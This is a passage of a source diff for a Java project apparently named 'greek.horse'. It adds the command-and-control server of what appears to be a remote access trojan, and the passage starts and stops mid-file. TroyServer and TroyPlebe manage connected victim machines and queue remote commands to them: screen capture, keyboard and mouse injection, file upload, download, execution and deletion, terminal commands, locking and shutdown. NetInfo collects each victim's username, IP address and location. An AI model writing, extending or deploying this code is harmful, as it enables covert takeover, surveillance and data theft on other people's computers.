map.put("xpi", FileType.ZIP);
map.put("zip", FileType.ZIP);
map.put("zipx", FileType.ZIP);
map.put("xz", FileType.ZIP);
map.put("pak", FileType.ZIP);
map.put("c", FileType.CODE);
map.put("cc", FileType.CODE);
map.put("class", FileType.CODE);
map.put("clj", FileType.CODE);
map.put("cpp", FileType.CODE);
map.put("cs", FileType.CODE);
map.put("cxx", FileType.CODE);
map.put("el", FileType.CODE);
map.put("go", FileType.CODE);
map.put("h", FileType.CODE);
map.put("java", FileType.CODE);
map.put("lua", FileType.CODE);
map.put("m", FileType.CODE);
map.put("m4", FileType.CODE);
map.put("php", FileType.CODE);
map.put("pl", FileType.CODE);
map.put("po", FileType.CODE);
map.put("py", FileType.CODE);
map.put("rb", FileType.CODE);
map.put("rs", FileType.CODE);
map.put("swift", FileType.CODE);
map.put("vb", FileType.CODE);
map.put("vcxproj", FileType.CODE);
map.put("xcodeproj", FileType.CODE);
map.put("xml", FileType.CODE);
map.put("diff", FileType.CODE);
map.put("patch", FileType.CODE);
map.put("html", FileType.CODE);
map.put("js", FileType.CODE);
return map;
}
public String getExtension(String filename) {
if (filename.contains(".")) {
return filename.substring(filename.lastIndexOf(".") + 1);
} else {
return "";
}
}
@Override
public int compareTo(@NotNull FileStruct o) {
return this.name.compareToIgnoreCase(o.name);
}
@Override
public String toString() {
return "FileStruct{" +
"uri=" + path +
", name='" + name + '\'' +
", size='" + size + '\'' +
'}';
}
public FileType getFileType() {
return fileType;
}
public String getPath() {
return path;
}
public String getName() {
return name;
}
public boolean isDrive() {
return isDrive;
}
public boolean isDir() {
return isDir;
}
public String getSize() {
return size;
}
}

5
src/main/java/greek/horse/models/FileType.java

@ -0,0 +1,5 @@
package greek.horse.models;
public enum FileType {
DRIVE, DIRECTORY, EXECUTABLE, IMAGE, AUDIO, VIDEO, TEXT, ZIP, CODE, FONT, UNKNOWN
}

50
src/main/java/greek/horse/models/FunctionTicket.java

@ -0,0 +1,50 @@
package greek.horse.models;
import java.io.Serializable;
import java.util.Objects;
public class FunctionTicket implements Serializable {
private final RequestFunction requestFunction;
private final String id;
private final boolean fixed;
public FunctionTicket(RequestFunction requestFunction, String id, boolean fixed) {
this.requestFunction = requestFunction;
this.id = id;
this.fixed = fixed;
}
@Override
public String toString() {
return "FunctionTicket{" +
"function=" + requestFunction +
", id='" + id + '\'' +
", fixed=" + fixed +
'}';
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
FunctionTicket that = (FunctionTicket) o;
return requestFunction == that.requestFunction && Objects.equals(id, that.id);
}
@Override
public int hashCode() {
return Objects.hash(requestFunction, id);
}
public String getId() {
return id;
}
public RequestFunction getFunction() {
return requestFunction;
}
public boolean isFixed() {
return fixed;
}
}

160
src/main/java/greek/horse/models/ImageUtil.java

@ -0,0 +1,160 @@
package greek.horse.models;
import java.awt.*;
import java.awt.image.BufferedImage;
public class ImageUtil {
// private static int tileCount = 3;//16*x-2560*y-2560\ =\ 0
// public static DesktopImageCarrier split(BufferedImage img) {
// int tileCount = (((16 * img.getWidth()) - 2560) * 3) / 2560;
// tileCount = 1;
// int tileW = img.getWidth() / tileCount;
// int tileH = img.getHeight() / tileCount;
//
// int lastW = img.getWidth() - (tileW * tileCount);
// int lastH = img.getHeight() - (tileH * tileCount);
//
// ArrayList<BufferedImage> list = new ArrayList<>();
//
// for (int i = 0; i < tileCount; i++) {
//
// int x = i * tileW;
// for (int j = 0; j < tileCount; j++) {
// int y = j * tileH;
// list.add(img.getSubimage(x, y, tileW, tileH));
// }
//
// if (lastH > 0) {
// int y = tileCount * tileH;
// list.add(img.getSubimage(x, y, tileW, lastH));
// }
//
// }
//
// if (lastW > 0) {
// int x = tileCount * tileW;
// for (int j = 0; j < tileCount; j++) {
// int y = j * tileH;
// list.add(img.getSubimage(x, y, lastW, tileH));
// }
// if (lastH > 0) {
// int y = (tileCount) * tileH;
// list.add(img.getSubimage(x, y, lastW, lastH));
// }
// }
// return new DesktopImageCarrier(img.getWidth(), img.getHeight(), img.getType(), tileW, tileH, lastW > 0 ? tileCount + 1 : tileCount, lastH > 0 ? tileCount + 1 : tileCount, list);
// }
// public static boolean compareImages(BufferedImage imgA, BufferedImage imgB) {
// // The images must be the same size.
//// if (1==1)
//// return false;
// if (imgA.getWidth() != imgB.getWidth() || imgA.getHeight() != imgB.getHeight()) {
// return false;
// } else if (imgA.getType() != imgB.getType()) {//they must be the same type
// return false;
// }
//
// int width = imgA.getWidth();
// int height = imgA.getHeight();
//
// // Loop over every pixel.
// for (int y = 0; y < height - 4; y = y + 5) {
// for (int x = 0; x < width - 4; x = x + 5) {
// // Compare the pixels for equality.
// if (imgA.getRGB(x, y) != imgB.getRGB(x, y)) {
// return false;
// }
// }
// }
//
// return true;
// }
public static BufferedImage greyIt(BufferedImage from) {
BufferedImage grey = new BufferedImage(
from.getWidth(),
from.getHeight(),
BufferedImage.TYPE_BYTE_BINARY);
// BufferedImage.OPAQUE);
Graphics2D graphic = grey.createGraphics();
graphic.drawImage(from, 0, 0, Color.WHITE, null);
graphic.dispose();
return grey;
}
public static BufferedImage reduceIt(BufferedImage from) {
BufferedImage grey = new BufferedImage(
from.getWidth(),
from.getHeight(),
BufferedImage.OPAQUE);
Graphics2D graphic = grey.createGraphics();
graphic.drawImage(from, 0, 0, Color.WHITE, null);
graphic.dispose();
return grey;
}
// public static ArrayList<BufferedImage> compressSplit(ArrayList<BufferedImage> newSplit, ArrayList<BufferedImage> oldSplit) {
// ArrayList<BufferedImage> list = new ArrayList(newSplit);
// if (list.size() == oldSplit.size()) {
// for (int i = 0; i < list.size(); i++) {
// if (compareImages(list.get(i), oldSplit.get(i))) {
// list.set(i, null);
// }
// }
// }
// return list;
// }
// public static ArrayList<Object> prepareSplit(ArrayList<BufferedImage> sendSplit) {
// ArrayList<Object> list = new ArrayList<>();
// for (BufferedImage img : sendSplit) {
//
// if (img != null) {
// try {
// ByteArrayOutputStream baos = new ByteArrayOutputStream();
// ImageIO.write(img, "gif", baos);
// list.add(baos.toByteArray());
// } catch (Exception e) {
// e.printStackTrace();
// }
// } else {
// list.add(null);
// }
//
// }
// return list;
// }
// public static BufferedImage joinSplit(DesktopImageCarrier carrier, Image image) throws IOException {
// BufferedImage bi = SwingFXUtils.fromFXImage(image, null);
//
// if (bi.getWidth() != carrier.getWidth() || bi.getHeight() != carrier.getHeight()) {
// bi = new BufferedImage(carrier.getWidth(), carrier.getHeight(), BufferedImage.TYPE_INT_RGB);
// }
//
// Graphics2D graphics = bi.createGraphics();
// int repo = 0;
// int pos = 0;
// for (int i = 0; i < carrier.getwCount(); i++) {
// for (int j = 0; j < carrier.gethCount(); j++) {
// if (carrier.getSplit().get(pos) != null) {
//
// repo++;
//
// BufferedImage subImg = ImageIO.read(new ByteArrayInputStream((byte[]) carrier.getSplit().get(pos)));
//
// graphics.drawImage(subImg, carrier.getTileW() * i, carrier.getTileH() * j, null);
// }
// pos++;
// }
// }
// System.out.println(repo + " - " + carrier.getwCount() * carrier.gethCount());
// graphics.dispose();
// return bi;
// }
}

19
src/main/java/greek/horse/models/Message.java

@ -0,0 +1,19 @@
package greek.horse.models;
import java.io.Serializable;
public class Message implements Serializable {
// RSA
// Blowfish
// leet (safest)
private String text;
public Message(String text) {
this.text = text;
}
public String getText() {
return text;
}
}

8
src/main/java/greek/horse/models/MessageType.java

@ -0,0 +1,8 @@
package greek.horse.models;
public enum MessageType {
SERVER, CLIENT;
public static final String SERVER_NAME = "Server";
public static final String CLIENT_NAME = "Client";
public static final String SELF = "You";
}

5
src/main/java/greek/horse/models/Mode.java

@ -0,0 +1,5 @@
package greek.horse.models;
public enum Mode {
KEY_PRESSED, KEY_RELEASED, CLICK_PRESSED, CLICK_RELEASED
}

44
src/main/java/greek/horse/models/MonitorDesktopWrapper.java

@ -0,0 +1,44 @@
package greek.horse.models;
import java.io.Serializable;
public class MonitorDesktopWrapper implements Serializable {
private final double width;
private final double height;
private final boolean compressed;
private int monitor;
public MonitorDesktopWrapper(double w, double Height, boolean compressed, int monitor) {
this.width = w;
this.height = Height;
this.compressed = compressed;
this.monitor = monitor;
}
public double getWidth() {
return width;
}
public double getHeight() {
return height;
}
public boolean isCompressed() {
return compressed;
}
public int getMonitor() {
return monitor;
}
@Override
public String toString() {
return "MonitorDesktopWrapper{" +
"width=" + width +
", height=" + height +
", compressed=" + compressed +
", monitor=" + monitor +
'}';
}
}

153
src/main/java/greek/horse/models/NetInfo.java

@ -0,0 +1,153 @@
package greek.horse.models;
import org.apache.commons.lang3.SystemUtils;
import javax.json.JsonObject;
import java.io.IOException;
import java.io.Serializable;
import java.net.InetAddress;
public class NetInfo implements Serializable {
private final String userName;
private final OS os;
private final String bigOs;
private final String hostName;
private final String localIP;
private final String externalIP;
private final String country;
private final String region;
private final String city;
private final String timeZone;
private final String isp;
private final String org;
private final String as;
public NetInfo(String userName, OS os, String bigOs, String hostName, String localIP, String externalIP, String country, String region, String city, String timeZone, String isp, String org, String as) {
this.userName = userName;
this.os = os;
this.bigOs = bigOs;
this.hostName = hostName;
this.localIP = localIP;
this.externalIP = externalIP;
this.country = country;
this.region = region;
this.city = city;
this.timeZone = timeZone;
this.isp = isp;
this.org = org;
this.as = as;
}
public NetInfo(InetAddress inet, JsonObject json) throws IOException {
if (!json.getString("status").contains("success")){
throw new IOException("Status returner false: "+json.getString("status"));
}
if (SystemUtils.IS_OS_MAC){
os = OS.MAC;
} else if (SystemUtils.IS_OS_UNIX){
os = OS.UNIX;
} else if (SystemUtils.IS_OS_WINDOWS){
os = OS.WINDOWS;
} else {
os = OS.UNKNOWN;
}
this.bigOs = System.getProperty("os.name");
this.userName = SystemUtils.getUserName();
this.hostName = SystemUtils.getHostName();
this.localIP = inet.getHostAddress();
this.externalIP = json.getString("query");
this.country = json.getString("country");
this.region = json.getString("regionName");
this.city = json.getString("city");
this.timeZone = json.getString("timezone");
this.isp = json.getString("isp");
this.org = json.getString("org");
this.as = json.getString("as");
}
@Override
public String toString() {
return "NetInfo{" +
"userName='" + userName + '\'' +
", os=" + os +
", bigOs='" + bigOs + '\'' +
", hostName='" + hostName + '\'' +
", localIP='" + localIP + '\'' +
", externalIP='" + externalIP + '\'' +
", country='" + country + '\'' +
", region='" + region + '\'' +
", city='" + city + '\'' +
", timeZone='" + timeZone + '\'' +
", isp='" + isp + '\'' +
", org='" + org + '\'' +
", as='" + as + '\'' +
'}';
}
public String getUserName() {
return userName;
}
public OS getOs() {
return os;
}
public String getHostName() {
return hostName;
}
public String getLocalIP() {
return localIP;
}
public String getExternalIP() {
return externalIP;
}
public String getCountry() {
return country;
}
public String getRegion() {
return region;
}
public String getCity() {
return city;
}
public String getTimeZone() {
return timeZone;
}
public String getIsp() {
return isp;
}
public String getOrg() {
return org;
}
public String getAs() {
return as;
}
public String getBigOs() {
return bigOs;
}
public String getTitle(){
return this.userName+"@"+this.externalIP;
}
}

5
src/main/java/greek/horse/models/OS.java

@ -0,0 +1,5 @@
package greek.horse.models;
public enum OS {
WINDOWS,UNIX,MAC,UNKNOWN
}

21
src/main/java/greek/horse/models/RequestFunction.java

@ -0,0 +1,21 @@
package greek.horse.models;
import java.io.Serializable;
public enum RequestFunction implements Serializable {
NET_INFO,
CHAT_MESSAGE, CHAT_START,
RELEASE,
DISCONNECT, TURN_OFF, LOCK, STOP,
DESKTOP_START, DESKTOP_REFRESH, USER_INPUT, MONITOR_COUNT,
FILES,
TERMINAL_START, TERMINAL_COMMAND
}

60
src/main/java/greek/horse/models/TableFile.java

@ -0,0 +1,60 @@
package greek.horse.models;
import greek.horse.server.ui.ChatApp;
import javafx.beans.property.SimpleObjectProperty;
import javafx.beans.property.SimpleStringProperty;
import javafx.embed.swing.SwingFXUtils;
import javafx.scene.image.ImageView;
import java.awt.image.BufferedImage;
import java.io.Serializable;
import java.nio.file.Path;
import java.util.Locale;
public class TableFile implements Serializable {
private transient ImageView icon = null;
private final FileStruct fileStruct;
public TableFile(FileStruct fileStruct) {
this.fileStruct = fileStruct;
BufferedImage bi = ChatApp.getImage(this.fileStruct.getFileType().toString().toLowerCase(Locale.ROOT), 0.09);
this.icon = new ImageView(SwingFXUtils.toFXImage(bi, null));
}
// @Override
// public int compareTo(@NotNull TableFile o) {
// return this.fileStruct.getName().compareToIgnoreCase(o.fileStruct.getName());
// }
@Override
public String toString() {
return "TableFile{" +
this.fileStruct.toString() +
'}';
}
public SimpleStringProperty nameProperty() {
return new SimpleStringProperty(this.fileStruct.getName());
}
public String getSize() {
return this.fileStruct.getSize();
}
public SimpleStringProperty sizeProperty() {
return new SimpleStringProperty(this.fileStruct.getSize());
}
public SimpleObjectProperty<ImageView> iconProperty() {
return new SimpleObjectProperty<>(this.icon);
}
public Path getPath() {
return Path.of(this.fileStruct.getPath());
}
public FileType getFileType() {
return this.fileStruct.getFileType();
}
}

86
src/main/java/greek/horse/models/UserInput.java

@ -0,0 +1,86 @@
package greek.horse.models;
import java.awt.event.KeyEvent;
import java.io.Serializable;
import java.util.Objects;
import java.util.concurrent.atomic.AtomicBoolean;
public class UserInput implements Serializable {
private int code;
private int key;
private Mode mode;
private int x;
private int y;
private final long id = System.currentTimeMillis();
private final AtomicBoolean paired = new AtomicBoolean(false);
public UserInput(int key, Mode mode) {
this.key = key;
this.mode = mode;
}
public UserInput(int button, int x, int y, Mode mode) {
this.code = button;
this.x = x;
this.y = y;
this.mode = mode;
}
public int getCode() {
return code;
}
public int getKey() {
return key;
}
public Mode getMode() {
return mode;
}
public int getX() {
return x;
}
public int getY() {
return y;
}
@Override
public String toString() {
return "UserInput{" +
"code=" + code +
", key='" + key + " - " + KeyEvent.getKeyText(key) +
", mode=" + mode +
", x=" + x +
", y=" + y +
'}';
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
UserInput userInput = (UserInput) o;
return id == userInput.id && mode == userInput.mode;
}
@Override
public int hashCode() {
return Objects.hash(mode, id);
}
public void setPaired(boolean b) {
this.paired.set(b);
}
public boolean getPaired() {
return this.paired.get();
}
}

132
src/main/java/greek/horse/server/troyStructure/NetInfoTable.java

@ -0,0 +1,132 @@
package greek.horse.server.troyStructure;
import greek.horse.models.NetInfo;
import greek.horse.server.ui.ChatApp;
import javafx.beans.property.SimpleObjectProperty;
import javafx.beans.property.SimpleStringProperty;
import javafx.embed.swing.SwingFXUtils;
import javafx.scene.image.ImageView;
import java.awt.image.BufferedImage;
import java.util.Locale;
public class NetInfoTable {
private final ImageView imageCountry;
private final SimpleStringProperty userName;
private final SimpleStringProperty ip;
private final SimpleStringProperty country;
private final SimpleStringProperty region;
private final SimpleStringProperty city;
private final SimpleStringProperty isp;
private final SimpleStringProperty os;
private final SimpleStringProperty bigOs;
private final TroyPlebe father;
public NetInfoTable(NetInfo netInfo, TroyPlebe father) {
this.userName = new SimpleStringProperty(netInfo.getUserName());
this.ip = new SimpleStringProperty(netInfo.getExternalIP());
this.country = new SimpleStringProperty(netInfo.getCountry());
this.region = new SimpleStringProperty(netInfo.getRegion());
this.city = new SimpleStringProperty(netInfo.getCity());
this.isp = new SimpleStringProperty(netInfo.getIsp());
this.os = new SimpleStringProperty(netInfo.getOs().toString());
this.bigOs = new SimpleStringProperty(netInfo.getBigOs());
this.father = father;
String countryName = netInfo.getCountry().toLowerCase(Locale.ROOT);
BufferedImage bi = ChatApp.getImage(countryName, 0.08, 0, 85, 512, 340);
this.imageCountry = new ImageView(SwingFXUtils.toFXImage(bi, null));
}
public ImageView getImageCountry() {
return imageCountry;
}
public String getUserName() {
return userName.get();
}
public SimpleStringProperty userNameProperty() {
return userName;
}
public String getIp() {
return ip.get();
}
public SimpleStringProperty ipProperty() {
return ip;
}
public String getCountry() {
return country.get();
}
public SimpleStringProperty countryProperty() {
return country;
}
public String getRegion() {
return region.get();
}
public SimpleStringProperty regionProperty() {
return region;
}
public String getCity() {
return city.get();
}
public SimpleStringProperty cityProperty() {
return city;
}
public TroyPlebe getFather() {
return father;
}
public String getIsp() {
return isp.get();
}
public SimpleStringProperty ispProperty() {
return isp;
}
public String getOs() {
return os.get();
}
public SimpleStringProperty osProperty() {
return os;
}
public String getBigOs() {
return bigOs.get();
}
public SimpleStringProperty bigOsProperty() {
return bigOs;
}
public SimpleObjectProperty<ImageView> imageProperty(){
return new SimpleObjectProperty<>(this.imageCountry);
}
@Override
public String toString() {
return "NetInfoTable{" +
"userName=" + userName +
", ip=" + ip +
", country=" + country +
", region=" + region +
", city=" + city +
", isp=" + isp +
", os=" + os +
'}';
}
}

139
src/main/java/greek/horse/server/troyStructure/ServerSocketManager.java

@ -0,0 +1,139 @@
package greek.horse.server.troyStructure;
import greek.horse.models.FunctionTicket;
import greek.horse.server.troyStructure.request.TroyRequest;
import org.apache.log4j.Logger;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.Socket;
import java.util.HashMap;
import java.util.List;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.stream.Collectors;
public class ServerSocketManager implements Runnable {
private String plebeID = "";
private final AtomicBoolean active = new AtomicBoolean(true);
private final TroyServer father;
private final Socket socket;
private static final Logger log = Logger.getLogger(ServerSocketManager.class);
public ServerSocketManager(TroyServer father, Socket socket) {
this.father = father;
this.socket = socket;
}
@Override
public void run() {
try {
while (!socket.isClosed() && father.isActive().get() && this.active.get()) {
Runnable readTask = manageRead();
Runnable writeTask = manageWrite();
this.father.executeInPool(readTask);
this.father.executeInPool(writeTask);
while (this.active.get()) {
Thread.sleep(100);
}
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
socket.close();
father.removePlebe(plebeID);
} catch (IOException ioException) {
ioException.printStackTrace();
}
}
}
private Runnable manageWrite() {
return () -> {
try {
ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream());
while (this.active.get()) {
if (this.plebeID.isEmpty()) {
Thread.sleep(100);
continue;
}
TroyPlebe tp = this.father.getPlebes().parallelStream()
.filter(plebe -> plebe.getId().contentEquals(this.plebeID))
.findFirst().get();
HashMap<FunctionTicket, Object> writeMap = compileRequests(tp.getRequests());
if (writeMap.keySet().size() > 0){
log.debug("writeMap: "+writeMap);
oos.writeObject(writeMap);
}
Thread.sleep(300);
}
} catch (Exception e) {
this.active.set(false);
log.error("Error while writing to socket.",e);
}
};
}
private HashMap<FunctionTicket,Object> compileRequests(List<TroyRequest> requests) {
return (HashMap<FunctionTicket,Object>) requests.parallelStream().filter(req -> !req.getSent().get())
.filter(req -> {
req.getSent().set(true);
return true;
})
.collect(Collectors
.toMap(TroyRequest::getTicket, TroyRequest::getSendObj));
}
private Runnable manageRead() {
return () -> {
try {
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
while (this.active.get()) {
Object receivedId = ois.readObject();
if (!doVirginCheck(receivedId)) { // if its not virgin
HashMap<FunctionTicket, Object> receivedMap = (HashMap<FunctionTicket, Object>) receivedId;
TroyPlebe tp = this.father.getPlebes().parallelStream()
.filter(plebe -> plebe.getId().contentEquals(this.plebeID))
.findFirst().get();
tp.getRequests().forEach(req -> {
FunctionTicket ticket = req.getTicket();
if (receivedMap.containsKey(ticket)) {
req.addReceivedObj(receivedMap.get(ticket));
}
});
}
}
} catch (Exception e) {
this.active.set(false);
log.error("Error while reading from socket.",e);
}
};
}
private boolean doVirginCheck(Object o) {
if (this.plebeID.isEmpty()) {
this.plebeID = (String) o;
this.father.addPlebe(new TroyPlebe(this.plebeID));
log.info("Registered new client. Id: " + this.plebeID);
return true;
}
return false;
}
}

230
src/main/java/greek/horse/server/troyStructure/TroyPlebe.java

@ -0,0 +1,230 @@
package greek.horse.server.troyStructure;
import greek.horse.models.*;
import greek.horse.server.troyStructure.request.RecurrentTroyRequest;
import greek.horse.server.troyStructure.request.TroyRequest;
import greek.horse.server.troyStructure.request.UniqueTroyRequest;
import greek.horse.server.ui.controllers.HorseController;
import greek.horse.server.ui.controllers.tasks.ChatTask;
import greek.horse.server.ui.controllers.tasks.MonitorDesktopTask;
import greek.horse.server.ui.controllers.tasks.TerminalTask;
import java.io.Serializable;
import java.nio.file.Path;
import java.util.*;
import java.util.concurrent.CopyOnWriteArrayList;
import java.util.concurrent.atomic.AtomicBoolean;
public class TroyPlebe {
private final String id;
private String title;
private final AtomicBoolean running = new AtomicBoolean(true);
private CopyOnWriteArrayList<TroyRequest> requests = new CopyOnWriteArrayList<>();
private static final Serializable EMPTY = "";
private ChatTask chatTask = new ChatTask(this);
private MonitorDesktopTask monitorDesktopTask = new MonitorDesktopTask(this);
private TerminalTask terminalTask = new TerminalTask(this);
public TroyPlebe(String id) {
this.id = id;
}
public void setRunning(boolean value) {
this.running.set(value);
if (!running.get()) {
requests.clear();
new Thread(() -> {
try {
Thread.sleep(30 * 1000);
requests = null;
} catch (InterruptedException e) {
e.printStackTrace();
}
}).start();
}
}
public void removeRequest(UniqueTroyRequest req) {
requests.remove(req);
}
public UniqueTroyRequest getNetInfo() {
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.NET_INFO, true);
requests.add(req);
return req;
}
public UniqueTroyRequest getDisconnect() {
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.DISCONNECT, false);
requests.add(req);
return req;
}
public void doStop() {
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.STOP, false);
requests.add(req);
}
public void doToggleLock(boolean lock) {
UniqueTroyRequest req = new UniqueTroyRequest(this, lock, RequestFunction.LOCK, false);
requests.add(req);
}
public RecurrentTroyRequest getScreenCapture(MonitorDesktopWrapper wrapper) {
RecurrentTroyRequest req = new RecurrentTroyRequest(wrapper, RequestFunction.DESKTOP_START);
requests.add(req);
return req;
}
public void sendUserInputs(ArrayList<UserInput> inputs) {
UniqueTroyRequest req = new UniqueTroyRequest(this, inputs, RequestFunction.USER_INPUT, false);
requests.add(req);
}
public boolean haveRequest(UniqueTroyRequest req) {
return requests.contains(req);
}
public AtomicBoolean getRunning() {
return running;
}
public String getId() {
return id;
}
public List<TroyRequest> getRequests() {
return Collections.unmodifiableList(requests);
}
public UniqueTroyRequest getDrives() {
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(BrowserTicketType.LOAD_DRIVES), RequestFunction.FILES, true);
requests.add(req);
return req;
}
public UniqueTroyRequest getFiles(Path dir) {
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(dir.toString(), BrowserTicketType.LOAD_FILES), RequestFunction.FILES, true);
requests.add(req);
return req;
}
public UniqueTroyRequest runFile(Path path) {
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.RUN), RequestFunction.FILES, true);
requests.add(req);
return req;
}
public UniqueTroyRequest uploadFile(Path path, String fileName, byte[] bytes) {
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.UPLOAD, fileName, bytes), RequestFunction.FILES, true);
requests.add(req);
return req;
}
public UniqueTroyRequest getKnownFolders() {
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(BrowserTicketType.KNOWN_FOLDERS), RequestFunction.FILES, true);
requests.add(req);
return req;
}
public UniqueTroyRequest deleteFile(Path path) {
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.DELETE), RequestFunction.FILES, true);
requests.add(req);
return req;
}
public UniqueTroyRequest downloadFile(Path path) {
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.DOWNLOAD), RequestFunction.FILES, true);
requests.add(req);
return req;
}
public TroyRequest startTerminal() {
RecurrentTroyRequest req = new RecurrentTroyRequest(EMPTY, RequestFunction.TERMINAL_START);
requests.add(req);
return req;
}
public Object startChat() {
RecurrentTroyRequest req = new RecurrentTroyRequest(EMPTY, RequestFunction.CHAT_START);
requests.add(req);
return req;
}
public void sendTerminalCommand(String command) {
UniqueTroyRequest req = new UniqueTroyRequest(this, command, RequestFunction.TERMINAL_COMMAND, false);
requests.add(req);
}
public void sendChatMessage(String message) {
UniqueTroyRequest req = new UniqueTroyRequest(this, message, RequestFunction.CHAT_MESSAGE, false);
requests.add(req);
}
public void releaseRequest(RecurrentTroyRequest request) {
UniqueTroyRequest req = new UniqueTroyRequest(this, request.getTicket().getId(), RequestFunction.RELEASE, false);
requests.add(req);
request.getReleased().set(true);
}
public void refreshDesktop(MonitorDesktopWrapper wrapper) {
UniqueTroyRequest req = new UniqueTroyRequest(this, wrapper, RequestFunction.DESKTOP_REFRESH, false);
requests.add(req);
}
public void turnOff() {
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.TURN_OFF, false);
requests.add(req);
}
public UniqueTroyRequest getMonitorCount() {
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.MONITOR_COUNT, true);
requests.add(req);
return req;
}
@Override
public String toString() {
return "TroyPlebe{" +
"id=" + id +
", running=" + running.get() +
", requests size =" + requests.size() +
'}';
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
TroyPlebe troyPlebe = (TroyPlebe) o;
return id.equals(troyPlebe.id);
}
@Override
public int hashCode() {
return Objects.hash(id);
}
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
}
public ChatTask getChatTask() {
return chatTask;
}
public MonitorDesktopTask getMonitorDesktopTask() {
return monitorDesktopTask;
}
public TerminalTask getTerminalTask() {
return terminalTask;
}
}

113
src/main/java/greek/horse/server/troyStructure/TroyServer.java

@ -0,0 +1,113 @@
package greek.horse.server.troyStructure;
import greek.horse.server.ui.controllers.HorseController;
import javafx.application.Platform;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.scene.control.Alert;
import org.apache.log4j.Logger;
import java.io.IOException;
import java.net.BindException;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.ArrayList;
import java.util.ConcurrentModificationException;
import java.util.concurrent.CopyOnWriteArrayList;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.atomic.AtomicBoolean;
public class TroyServer implements Runnable {
private static final Logger log = Logger.getLogger(TroyServer.class);
private static final ExecutorService threadPool = Executors.newCachedThreadPool();
private final ObservableList<TroyPlebe> plebes = FXCollections.synchronizedObservableList(FXCollections.observableList(new CopyOnWriteArrayList<>()));
private final int port;
private final HorseController controller;
private ServerSocket server;
private final AtomicBoolean active = new AtomicBoolean(true);
public TroyServer(int port, HorseController controller) {
this.port = port;
this.controller = controller;
}
@Override
public void run() {
try {
server = new ServerSocket(this.port);
while (this.active.get()) {
if (!this.active.get() && plebes.size() == 0) { // its off and has no plebes
break;
}
Socket accept = server.accept();
threadPool.execute(new ServerSocketManager(this, accept));
}
stop();
}catch (BindException e){
Platform.runLater(() -> {
this.controller.startBtn.setSelected(false);
this.controller.showDialog("Error binding port", "Port already in use, close other programs using port "+port, Alert.AlertType.ERROR);
});
} catch (Exception e) {
log.error("Error on socket creation", e);
}
}
public void removePlebe(String id) {
if (id.isEmpty()) {
return;
}
try {
ArrayList<TroyPlebe> removeList = new ArrayList<>();
plebes.parallelStream()
.filter(tp -> tp.getId().contentEquals(id))
.forEach(tp -> {
tp.setRunning(false);
removeList.add(tp);
});
removeList.forEach(ple -> plebes.remove(ple));
} catch (ConcurrentModificationException e) {
log.error("Concurrent error. TroyPlebe may not have been removed.");
}
}
public void stop() {
this.active.set(false);
try {
plebes.forEach(p -> p.setRunning(false));
plebes.clear();
if (server != null) {
server.close();
}
} catch (IOException e) {
log.error("Exception closing server.");
}
}
public ObservableList<TroyPlebe> getPlebes() {
return plebes;
}
public AtomicBoolean isActive() {
return active;
}
public void addPlebe(TroyPlebe troyPlebeNew) {
this.plebes.add(troyPlebeNew);
}
public void executeInPool(Runnable run) {
threadPool.execute(run);
}
}

57
src/main/java/greek/horse/server/troyStructure/request/RecurrentTroyRequest.java

@ -0,0 +1,57 @@
package greek.horse.server.troyStructure.request;
import greek.horse.models.RequestFunction;
import greek.horse.models.FunctionTicket;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import java.util.List;
import java.util.concurrent.atomic.AtomicBoolean;
public class RecurrentTroyRequest implements TroyRequest {
private final Object sendObj;
private final FunctionTicket ticket;
private final AtomicBoolean released = new AtomicBoolean(false);
private final ObservableList<Object> receivedObjs = FXCollections.observableArrayList();
private final AtomicBoolean sent = new AtomicBoolean(false);
public RecurrentTroyRequest(Object sendObj, RequestFunction f) {
this.sendObj = sendObj;
this.ticket = new FunctionTicket(f, String.valueOf(System.currentTimeMillis()) + sendObj.hashCode(), true);
}
@Override
public Object getSendObj() {
return sendObj;
}
@Override
public synchronized void addReceivedObj(Object receivedObj) {
receivedObjs.add(receivedObj);
}
@Override
public AtomicBoolean getSent() {
return sent;
}
@Override
public FunctionTicket getTicket() {
return ticket;
}
@Override
public List<Object> getReceivedObjs(){
return getObservableReceivedObjs();
}
public ObservableList<Object> getObservableReceivedObjs(){
return receivedObjs;
}
public AtomicBoolean getReleased() {
return released;
}
}

18
src/main/java/greek/horse/server/troyStructure/request/TroyRequest.java

@ -0,0 +1,18 @@
package greek.horse.server.troyStructure.request;
import greek.horse.models.FunctionTicket;
import java.util.List;
import java.util.concurrent.atomic.AtomicBoolean;
public interface TroyRequest {
Object getSendObj();
void addReceivedObj(Object receivedObj);
AtomicBoolean getSent();
FunctionTicket getTicket();
List<Object> getReceivedObjs() throws Exception;
}

69
src/main/java/greek/horse/server/troyStructure/request/UniqueTroyRequest.java

@ -0,0 +1,69 @@
package greek.horse.server.troyStructure.request;
import greek.horse.models.RequestFunction;
